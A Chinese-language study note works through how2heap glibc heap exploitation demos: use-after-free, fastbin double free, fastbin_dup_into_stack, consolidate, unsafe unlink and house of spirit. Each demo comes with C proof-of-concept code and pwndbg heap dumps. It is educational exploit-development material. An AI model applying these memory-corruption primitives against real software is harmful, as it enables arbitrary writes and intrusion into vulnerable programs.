0%

how2heap1

前置知识

四个不同类型chunk区别

  • fast chunk 大小在32字节~128字节(0x20~0x80)的chunk称为“fast chunk”

  • small chunk 小于1024字节(0x400)

  • large chunk 大于等于1024字节(0x400)

  • unsorted bin 当释放较小或较大的chunk的时候,如果系统没有将它们添加到对应的bins中,系统就将这些chunk添加到unsorted bin中

First_Fit UAF

利用原理

在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;

fprintf(stderr, "1st malloc(0x512): %p\n", a);
fprintf(stderr, "2nd malloc(0x256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

fprintf(stderr, "So, let's allocate 0x500 bytes\n");
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

具体分析

  1. malloc后,bin是空的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    pwndbg> x/10x 0x555555559290
    0x555555559290: 0x00000000 0x00000000 0x00000521 0x00000000
    0x5555555592a0: 0x00000000 0x00000000 0x00000000 0x00000000
    0x5555555592b0: 0x00000000 0x00000000
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x555555559000
    Size: 0x291

    Allocated chunk | PREV_INUSE
    Addr: 0x555555559290
    Size: 0x521

    Allocated chunk | PREV_INUSE
    Addr: 0x5555555597b0
    Size: 0x261

    Top chunk | PREV_INUSE
    Addr: 0x555555559a10
    Size: 0x205f1
    pwndbg> bins
    tcachebins
    empty
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
  2. free后chunk被放到了unsorted bin中,且chunk上放入了fd/bk,

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    pwndbg> bins
    tcachebins
    empty
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x555555559290 —▸ 0x7ffff7fb1be0 (main_arena+96) ◂— 0x555555559290
    smallbins
    empty
    largebins
    empty
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x555555559000
    Size: 0x291

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x555555559290
    Size: 0x521
    fd: 0x7ffff7fb1be0
    bk: 0x7ffff7fb1be0

    Allocated chunk
    Addr: 0x5555555597b0
    Size: 0x260

    Top chunk | PREV_INUSE
    Addr: 0x555555559a10
    Size: 0x205f1
    pwndbg> x/10gx 0x555555559290
    0x555555559290: 0x0000000000000000 0x0000000000000521
    0x5555555592a0: 0x00007ffff7fb1be0 0x00007ffff7fb1be0
    0x5555555592b0: 0x0000000000000000 0x0000000000000000
    0x5555555592c0: 0x0000000000000000 0x0000000000000000
    0x5555555592d0: 0x0000000000000000 0x0000000000000000
  3. 再次malloc后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x521

Allocated chunk | PREV_INUSE
Addr: 0x5555555597b0
Size: 0x261

Top chunk | PREV_INUSE
Addr: 0x555555559a10
Size: 0x205f1

pwndbg> bin
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000521
0x5555555592a0: 0x2073692073696874 0x00007ffff7002143
0x5555555592b0: 0x0000555555559290 0x0000555555559290
0x5555555592c0: 0x0000000000000000 0x0000000000000000
0x5555555592d0: 0x0000000000000000 0x0000000000000000

Fastbin_Dup.c DOUBLE-FREE

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = malloc(8);
b = malloc(8);
c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

assert(a == c);
}

具体分析

  1. 3次free后,出现double free

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    pwndbg> bins
    fastbins
    0x20: 0x55555555c000 —▸ 0x55555555c020 ◂— 0x55555555c000
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
  2. 3次malloc后,a和d指向同一个地址,如果d的值可控即等于往任意地址写数据

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    pwndbg> 
    bins
    fastbins 0x20: 0x55555555c020 —▸ 0x55555555c000 ◂— 0x55555555c020 0x30: 0x0 0x40: 0x0 empty
    largebins
    empty
    pwndbg> heap
    Free chunk (fastbins) | PREV_INUSE
    Addr: 0x55555555c000
    Size: 0x21
    fd: 0x55555555c020

    Free chunk (fastbins) | PREV_INUSE
    Addr: 0x55555555c020
    Size: 0x21
    fd: 0x55555555c000

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555c040
    Size: 0x21

    Top chunk | PREV_INUSE
    Addr: 0x55555555c060
    Size: 0x20fa1

    1st malloc(8): 0x55555555c010
    2nd malloc(8): 0x55555555c030
    3rd malloc(8): 0x55555555c010


    malloc(8): 0x7fffffffe008

Fastbin_Dup_Into_Stack UAF利用

具体代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

具体分析

  1. a被free两次以后

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    pwndbg> bins
    fastbins
    0x20: 0x55555555b000 —▸ 0x55555555b020 ◂— 0x55555555b000
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty

    pwndbg> x/10gx 0x55555555b020
    0x55555555b020: 0x0000000000000000 0x0000000000000021
    0x55555555b030: 0x000055555555b000 0x0000000000000000
    0x55555555b040: 0x0000000000000000 0x0000000000000021
    0x55555555b050: 0x0000000000000000 0x0000000000000000
    0x55555555b060: 0x0000000000000000 0x0000000000020fa1
    pwndbg> x/10gx 0x55555555b000
    0x55555555b000: 0x0000000000000000 0x0000000000000021
    0x55555555b010: 0x000055555555b020 0x0000000000000000
    0x55555555b020: 0x0000000000000000 0x0000000000000021
    0x55555555b030: 0x000055555555b000 0x0000000000000000
    0x55555555b040: 0x0000000000000000 0x0000000000000021
  2. 执行d = (unsigned long long) (((char)&stack_var) - sizeof(d));后因为d与a指向一个地址,因此可以篡改freechunk里面的fd

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    pwndbg> bins
    fastbins
    0x20: 0x55555555b000 —▸ 0x55555555b020 ◂— 0x55555555b000
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty

    pwndbg> x/10gx 0x55555555b000
    0x55555555b000: 0x0000000000000000 0x0000000000000021
    0x55555555b010: 0x00007fffffffdff8 0x0000000000000000
    0x55555555b020: 0x0000000000000000 0x0000000000000021
    0x55555555b030: 0x000055555555b000 0x0000000000000000
    0x55555555b040: 0x0000000000000000 0x0000000000000021
    pwndbg> x/10gx 0x55555555b020
    0x55555555b020: 0x0000000000000000 0x0000000000000021
    0x55555555b030: 0x000055555555b000 0x0000000000000000
    0x55555555b040: 0x0000000000000000 0x0000000000000021
    0x55555555b050: 0x0000000000000000 0x0000000000000000
    0x55555555b060: 0x0000000000000000 0x0000000000020fa1

Fastbin_Dup_Consolidate

todo

为什么malloc之后,large chunk被分配到了small bin中?

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

具体分析

  1. p1被free两次以后

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    pwndbg> bins
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x55555555b000 ◂— 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
  2. malloc(0x400)后,原来的fastbin被分配到了smallbin.因为0✖400属于large chunk 会调用malloc_consolidate()合并fastbins中的chunk,并将这些空闲的chunk加入unsorted bin中,之后unsorted bin中的chunk按照大小被放回small bins/large bins中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    pwndbg> bins
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    0x50: 0x55555555b000 —▸ 0x7ffff7dd4bb8 (main_arena+152) ◂— 0x55555555b000
    largebins
    empty
  3. 再次free p1 ,可以看到p1同时出现在fast bins和small bins中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    pwndbg> bins
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x55555555b000 ◂— 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    0x50 [corrupted]
    FD: 0x55555555b000 ◂— 0x0
    BK: 0x55555555b000 —▸ 0x7ffff7dd4bb8 (main_arena+152) ◂— 0x55555555b000
    largebins
    empty

    Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x55555555b010 0x55555555b010

Unsafe_Unlink

利用场景

最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

fprintf(stderr, "We create a fake chunk inside chunk0.\n");
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;

fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);

fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
fprintf(stderr, "Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}

具体分析

  1. 设置chunk0_ptr[2]和chunk0_ptr[3]后的chunk(实际情况应该是利用漏洞来覆盖,这里直接通过指针来操作)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    pwndbg> x/30gx 0x55555555b000
    0x55555555b000: 0x0000000000000000 0x0000000000000091
    0x55555555b010: 0x0000000000000000 0x0000000000000000
    0x55555555b020: 0x0000555555558018 0x0000555555558020
    0x55555555b030: 0x0000000000000000 0x0000000000000000
    0x55555555b040: 0x0000000000000000 0x0000000000000000
    0x55555555b050: 0x0000000000000000 0x0000000000000000
    0x55555555b060: 0x0000000000000000 0x0000000000000000
    0x55555555b070: 0x0000000000000000 0x0000000000000000
    0x55555555b080: 0x0000000000000000 0x0000000000000000
    0x55555555b090: 0x0000000000000000 0x0000000000000091
    0x55555555b0a0: 0x0000000000000000 0x0000000000000000
  2. chunk1_hdr[0] = malloc_size;chunk1_hdr[1] &= ~1;我们把chunk1_hdr伪造成空闲chunk,即把chunk of size的 inuse位设置成0,把size of previous chunk设置成80(90-10),程序会根据presize来寻找要合并的chunk的头部,这样在free时会让程序错误认为chunk0的开始位置为我们的伪造的chunk位置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    pwndbg> x/30gx 0x55555555b000
    0x55555555b000: 0x0000000000000000 0x0000000000000091
    0x55555555b010: 0x0000000000000000 0x0000000000000000
    0x55555555b020: 0x0000555555558018 0x0000555555558020
    0x55555555b030: 0x0000000000000000 0x0000000000000000
    0x55555555b040: 0x0000000000000000 0x0000000000000000
    0x55555555b050: 0x0000000000000000 0x0000000000000000
    0x55555555b060: 0x0000000000000000 0x0000000000000000
    0x55555555b070: 0x0000000000000000 0x0000000000000000
    0x55555555b080: 0x0000000000000000 0x0000000000000000
    0x55555555b090: 0x0000000000000080 0x0000000000000090

    pwndbg> x/10x 0x0000555555558010
    0x555555558010: 0x0000000000000000 0x0000000000000000
    0x555555558020 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd5540 0x0000000000000000
    0x555555558030 <chunk0_ptr>: 0x000055555555b010 0x00020000002c0030
    0x555555558040: 0x0000000800000000 0x0000000011c90000
    0x555555558050: 0x0000000004420000 0x0000000000000000
  3. free chunk1_ptr 时,因为在free一个非fastbin大小的chunk时,会对前后的chunk进行检测,如果前后的chunk存在被free的状态,则会进行合并。合并之前自然也需要用unlink将其从链表上取下来。因此chunk0被unlink,导致bk->fd =fd(bk=0x0000555555558020,bk->fd=bk+0x10=0x0000555555558030,fd=0x0000555555558018)所以0x0000555555558030被设置成了0x0000555555558018

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define unlink(AV, P, BK, FD) {                                            
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
}
}

pwndbg> x/10x 0x0000555555558010
0x555555558010: 0x0000000000000000 0x0000000000000000
0x555555558020 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd5540 0x0000000000000000
0x555555558030 <chunk0_ptr>: 0x0000555555558018 0x00020000002c0030
0x555555558040: 0x0000000800000000 0x0000000011c90000
0x555555558050: 0x0000000004420000 0x0000000000000000
  1. chunk0_ptr[3] = (uint64_t) victim_string;fprintf(stderr, “Original value: %s\n”,victim_string);这时候chunk0_ptr为0x555555558018,chunk0_ptr[3]为0x555555558030,经过这步操作后全局变量chunk0_ptr里面的指针有被修改为0x00007fffffffe030
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> p chunk0_ptr
$38 = (uint64_t *) 0x7fffffffe030
pwndbg> x/10x 0x0000555555558010
0x555555558010: 0x0000000000000000 0x0000000000000000
0x555555558020 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd5540 0x0000000000000000
0x555555558030 <chunk0_ptr>: 0x00007fffffffe030 0x00020000002c0030
0x555555558040: 0x0000000800000000 0x0000000011c90000
0x555555558050: 0x0000000004420000 0x0000000000000000

pwndbg> x/10s 0x00007fffffffe030
0x7fffffffe030: "Hello!~"
0x7fffffffe038: ""


Original value: Hello!~
  1. chunk0_ptr[0] = 0x4141414142424242LL;fprintf(stderr, “New Value: %s\n”,victim_string);

    1
    2
    pwndbg> x/10s 0x00007fffffffe030
    0x7fffffffe030: "BBBBAAAA"
  2. libc2.26版本。则需要把tacahe填充满才行

House_of_Spirit

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}